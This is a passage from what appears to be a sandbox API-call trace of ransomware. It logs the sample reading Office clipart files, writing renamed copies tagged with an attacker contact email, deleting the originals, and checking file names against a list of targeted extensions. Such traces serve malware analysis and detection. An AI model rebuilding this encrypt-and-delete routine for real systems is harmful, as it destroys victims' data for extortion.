files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0243.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0243.355] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.355] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0243.357] GetLastError () returned 0x0 [0243.358] ReadFile (in: hFile=0x3cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x10c8, lpOverlapped=0x0) returned 1 [0243.363] WriteFile (in: hFile=0x370, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x10d0, lpOverlapped=0x0) returned 1 [0243.366] ReadFile (in: hFile=0x3cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.366] WriteFile (in: hFile=0x370, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.366] SetEndOfFile (hFile=0x370) returned 1 [0243.367] CloseHandle (hObject=0x370) returned 1 [0243.367] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.367] SetEndOfFile (hFile=0x3cc) returned 1 [0243.375] CloseHandle (hObject=0x3cc) returned 1 [0243.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0243.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0243.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0243.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0243.377] lstrlenW (lpString=".doc") returned 4 [0243.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.377] lstrlenW (lpString=".docx") returned 5 [0243.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.377] lstrlenW (lpString=".pdf") returned 4 [0243.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.378] lstrlenW (lpString=".xls") returned 4 [0243.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.378] lstrlenW (lpString=".xlsx") returned 5 [0243.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.378] lstrlenW (lpString=".ppt") returned 4 [0243.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0243.378] lstrlenW (lpString=".zip") returned 4 [0243.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.378] lstrlenW (lpString=".rar") returned 4 [0243.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.379] lstrlenW (lpString=".bz2") returned 4 [0243.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.379] lstrlenW (lpString=".7z") returned 3 [0243.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0243.379] lstrlenW (lpString=".dbf") returned 4 [0243.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0243.379] lstrlenW (lpString=".1cd") returned 4 [0243.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0243.380] lstrlenW (lpString=".jpg") returned 4 [0243.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0243.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0243.380] lstrlenW (lpString=".doc") returned 4 [0243.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.380] lstrlenW (lpString=".docx") returned 5 [0243.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.380] lstrlenW (lpString=".pdf") returned 4 [0243.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.381] lstrlenW (lpString=".xls") returned 4 [0243.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.381] lstrlenW (lpString=".xlsx") returned 5 [0243.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.381] lstrlenW (lpString=".ppt") returned 4 [0243.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0243.381] lstrlenW (lpString=".zip") returned 4 [0243.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.381] lstrlenW (lpString=".rar") returned 4 [0243.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.382] lstrlenW (lpString=".bz2") returned 4 [0243.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.382] lstrlenW (lpString=".7z") returned 3 [0243.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0243.382] lstrlenW (lpString=".dbf") returned 4 [0243.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0243.382] lstrlenW (lpString=".1cd") returned 4 [0243.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0243.382] lstrlenW (lpString=".jpg") returned 4 [0243.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.383] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0243.383] lstrlenW (lpString="BD00155_.WMF") returned 12 [0243.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0243.385] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=11636) returned 1 [0243.385] CloseHandle (hObject=0x3cc) returned 1 [0243.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0243.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0243.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0243.387] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.387] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0243.388] GetLastError () returned 0x0 [0243.388] ReadFile (in: hFile=0x3cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x2d74, lpOverlapped=0x0) returned 1 [0243.876] WriteFile (in: hFile=0x370, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0243.888] ReadFile (in: hFile=0x3cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.888] WriteFile (in: hFile=0x370, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.889] SetEndOfFile (hFile=0x370) returned 1 [0243.889] CloseHandle (hObject=0x370) returned 1 [0243.889] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.889] SetEndOfFile (hFile=0x3cc) returned 1 [0243.900] CloseHandle (hObject=0x3cc) returned 1 [0243.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0244.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0244.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0244.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0244.438] lstrlenW (lpString=".doc") returned 4 [0244.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.438] lstrlenW (lpString=".docx") returned 5 [0244.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.439] lstrlenW (lpString=".pdf") returned 4 [0244.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.439] lstrlenW (lpString=".xls") returned 4 [0244.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.439] lstrlenW (lpString=".xlsx") returned 5 [0244.439] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.439] lstrlenW (lpString=".ppt") returned 4 [0244.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0244.439] lstrlenW (lpString=".zip") returned 4 [0244.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.439] lstrlenW (lpString=".rar") returned 4 [0244.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.440] lstrlenW (lpString=".bz2") returned 4 [0244.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.440] lstrlenW (lpString=".7z") returned 3 [0244.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0244.440] lstrlenW (lpString=".dbf") returned 4 [0244.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0244.440] lstrlenW (lpString=".1cd") returned 4 [0244.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0244.440] lstrlenW (lpString=".jpg") returned 4 [0244.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0244.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0244.441] lstrlenW (lpString=".doc") returned 4 [0244.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.441] lstrlenW (lpString=".docx") returned 5 [0244.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.441] lstrlenW (lpString=".pdf") returned 4 [0244.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.441] lstrlenW (lpString=".xls") returned 4 [0244.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.441] lstrlenW (lpString=".xlsx") returned 5 [0244.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.442] lstrlenW (lpString=".ppt") returned 4 [0244.442] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0244.442] lstrlenW (lpString=".zip") returned 4 [0244.442] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.442] lstrlenW (lpString=".rar") returned 4 [0244.442] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.442] lstrlenW (lpString=".bz2") returned 4 [0244.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.442] lstrlenW (lpString=".7z") returned 3 [0244.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0244.442] lstrlenW (lpString=".dbf") returned 4 [0244.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0244.443] lstrlenW (lpString=".1cd") returned 4 [0244.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0244.443] lstrlenW (lpString=".jpg") returned 4 [0244.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.444] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0244.444] lstrlenW (lpString="BD05119_.WMF") returned 12 [0244.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0244.446] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=17236) returned 1 [0244.446] CloseHandle (hObject=0x15c) returned 1 [0244.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0244.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0244.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0244.447] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.447] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0244.453] GetLastError () returned 0x0 [0244.453] ReadFile (in: hFile=0x15c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x4354, lpOverlapped=0x0) returned 1 [0244.509] WriteFile (in: hFile=0x1cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x4360, lpOverlapped=0x0) returned 1 [0244.513] ReadFile (in: hFile=0x15c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.513] WriteFile (in: hFile=0x1cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.513] SetEndOfFile (hFile=0x1cc) returned 1 [0244.513] CloseHandle (hObject=0x1cc) returned 1 [0244.514] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.514] SetEndOfFile (hFile=0x15c) returned 1 [0244.521] CloseHandle (hObject=0x15c) returned 1 [0244.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0244.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0244.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0244.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0244.524] lstrlenW (lpString=".doc") returned 4 [0244.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.524] lstrlenW (lpString=".docx") returned 5 [0244.524] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.524] lstrlenW (lpString=".pdf") returned 4 [0244.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.524] lstrlenW (lpString=".xls") returned 4 [0244.524] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.524] lstrlenW (lpString=".xlsx") returned 5 [0244.524] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.525] lstrlenW (lpString=".ppt") returned 4 [0244.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0244.525] lstrlenW (lpString=".zip") returned 4 [0244.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.525] lstrlenW (lpString=".rar") returned 4 [0244.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.525] lstrlenW (lpString=".bz2") returned 4 [0244.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.525] lstrlenW (lpString=".7z") returned 3 [0244.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0244.525] lstrlenW (lpString=".dbf") returned 4 [0244.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0244.526] lstrlenW (lpString=".1cd") returned 4 [0244.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0244.526] lstrlenW (lpString=".jpg") returned 4 [0244.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0244.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0244.526] lstrlenW (lpString=".doc") returned 4 [0244.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.526] lstrlenW (lpString=".docx") returned 5 [0244.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.526] lstrlenW (lpString=".pdf") returned 4 [0244.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.527] lstrlenW (lpString=".xls") returned 4 [0244.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.527] lstrlenW (lpString=".xlsx") returned 5 [0244.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.527] lstrlenW (lpString=".ppt") returned 4 [0244.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0244.527] lstrlenW (lpString=".zip") returned 4 [0244.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.527] lstrlenW (lpString=".rar") returned 4 [0244.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.527] lstrlenW (lpString=".bz2") returned 4 [0244.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.527] lstrlenW (lpString=".7z") returned 3 [0244.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0244.528] lstrlenW (lpString=".dbf") returned 4 [0244.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0244.528] lstrlenW (lpString=".1cd") returned 4 [0244.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0244.528] lstrlenW (lpString=".jpg") returned 4 [0244.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.529] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0244.529] lstrlenW (lpString="BD06200_.WMF") returned 12 [0244.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0245.017] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=16676) returned 1 [0245.017] CloseHandle (hObject=0x304) returned 1 [0245.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0245.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0245.081] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, 